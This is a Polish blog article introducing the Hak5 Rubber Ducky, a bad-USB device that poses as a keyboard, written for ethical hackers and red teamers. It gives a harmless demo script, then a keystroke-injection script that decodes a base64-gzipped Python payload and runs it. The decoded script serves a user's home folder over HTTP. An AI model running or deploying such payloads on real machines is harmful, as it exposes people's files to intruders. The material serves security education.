Tym tekstem rozpoczynamy cykl artykułów opisujących sprzętowe narzędzia służące do „hackowania” (nie tylko etycznego). Każdy ethical hacker czy red teamowiec korzysta z nich podczas testów bezpieczeństwa aby ocenić w jaki sposób infrastruktura klienta przygotowana jest na obronę przed realnymi zagrożeniami ze strony intruzów.
Rubber Ducky
„Kaczuszka” to jeden ze starszych gadżetów ze stajni firmy Hak5. To z pozoru przypominające pandrive urządzenie zaliczane jest do kategorii tzw. bad USB, czyli narzędzi, które są nam w stanie wyrządzić jakąś szkodę po podłączeniu do portu USB komputera.
Jak to działa? Otóż Rubber Ducky, chociaż wygląda jak pamięć flash, w rzeczywistości jest wykrywany przez system operacyjny jako urządzenie HID (Human Interface Device), a konkretnie klawiatura. Po podłączeniu do komputera zaczyna wysyłać zaprogramowane wcześniej ciągi znaków, poleceń i skrótów klawiaturowych. Efekt jest zatem taki, jakby osoba, która podłącza urządzenie do swojego komputera pozwoliła intruzowi skorzystać z własnej klawiatury.
Programowanie
Programowanie odbywa się poprzez wgranie na umieszczoną w urządzeniu kartę pamięci odpowiedniego skryptu, przekompilowanego wcześniej na postać binarną, rozumianą przez wbudowany kontroler. Przykładowy skrypt może wyglądać tak:
DELAY 1000 ALT F2 DELAY 1000 STRING gedit DELAY 1000 STRING hello DELAY 1000 STRING world!!! :) ENTER DELAY 1000 STRING you DELAY 1000 STRING are DELAY 1000 STRING hacked
Powyższy skrypt przygotowany został dla środowiska Gnome w systemach Linux. Po przekonwertowaniu na postać binarną i wgraniu na urządzenie spowoduje on po podłączeniu uruchomienie edytora tekstu 'gedit’ (skrót klawiszowy ALT F2 wywołuje okno poleceń), a następnie wpisanie w nim tekstu:
hello world!!! :) you are hacked
Parametr DELAY w skrypcie oznacza czas w milisekundach, jaki ma upłynąć przed wprowadzeniem kolejnych znaków. W powyższym przykładzie sprawi on wrażenie, że tekst jest wpisywany przez człowieka. W praktyce jednak wykorzystuje się go w celu odczekania 1-2 sek. aż np. otworzy się okno, w którym wprowadzone mają być dalsze polecenia.
Naprawdę „bad”
Oczywiście przykład z wyświetlaniem tekstu w edytorze posłużyć może głównie do celów prezentacyjnych. W rzeczywistości intruzi dysponują całym arsenałem gotowych skryptów na różne platformy systemowe. Przyjrzyjmy się np. takiemu skryptowi:
CTRL-ALT t DELAY 200 ENTER STRING echo H4sIAODiZl4C/12OywrCMBBF9/mKQMGmC9u94N5lwe5LH2MTzIvJRIhfbyS2C2d1GS7nXGW8Q+IuMFVSSEc0UZPy6BYIQdmNsRUe3KdREnnRXBjP50K7yFWhqDvpDHTPOE9dH2etlrdNdbOXMpbAiNonks7ys+H3bNFwG4b+DvgC5PyU66zKklECQtFhtOOk9a77m9T2JQqacAO6/sY1bcgPEsVefRmFeNA+9RpNLPcAAAA= | base64 --decode | gzip -d > kaczuszka.py ENTER STRING python kaczuszka.py
W efekcie jego działania otwarte zostanie okno terminala (w systemach Linux CTRL-ALT-t), a w nim poprzez polecenie „echo” zapisana do pliku „kaczuszka.py” zawartość zakodowanego z pomocą base64 i skompresowanego gzipem ciągu znaków. Następnie plik „kaczuszka.py” zostanie uruchomiony w interpreterze pythona. Co znajdzie się w uruchamianym skrypcie? Spójrzmy:
import os import sys import multiprocessing def py_http(): os.chdir('/home/kuba/Publiczny') os.system('python -m SimpleHTTPServer &') #def_here def run_all(): multiprocessing.Process(target=py_http).start() #run_here run_all()
Myślę, że nawet osoby nie znające pythona są w stanie zinterpretować działanie skryptu – najpierw nastąpi zmiana bieżącego katalogu na „/home/kuba/Publiczny”, a następnie uruchomiona zostanie usługa SimpleHTTPServer, która zawartość tego katalogu udostępni w formie serwisu www na domyślnym porcie 8000. Poniżej efekt otwarcia przeglądarką adresu http://localhost:8000
Oczywiście powyższa zawartość katalogu ma charakter demonstracyjny, ale jeżeli skrypt zostanie uruchomiony przez użytkownika z odpowiednimi uprawnieniami, to równie dobrze może on serwować zawartość głównego katalogu /.
Jak widać, zdziałać można naprawdę sporo złego. Ograniczeniem jest jedynie znajomość środowiska, w którym podłączona zostanie złośliwa „kaczuszka”.
Koszt tego narzędzia w oficjalnym sklepie to około 50$ (nie licząc przesyłki do Polski i opłat celnych). W kolejnych tekstach opiszemy jednak inne narzędzia o podobnej funkcjonalności, których cena jest już bardziej przyjazna.
Ten artykuł jest częścią cyklu pt. Arsenał (Ethical) Hackera. Jeżeli zainteresowała Cię jego tematyka i oczekujesz kolejnych opisów narzędzi do hackowania, udostępnij go i zasubskrybuj nasz newsletter lub profile społecznościowe.
Zostaw e-mail aby otrzymać powiadomienia o nowościach oraz dostęp do wszystkich bonusowych materiałów przygotowanych wyłącznie dla subskrybentów.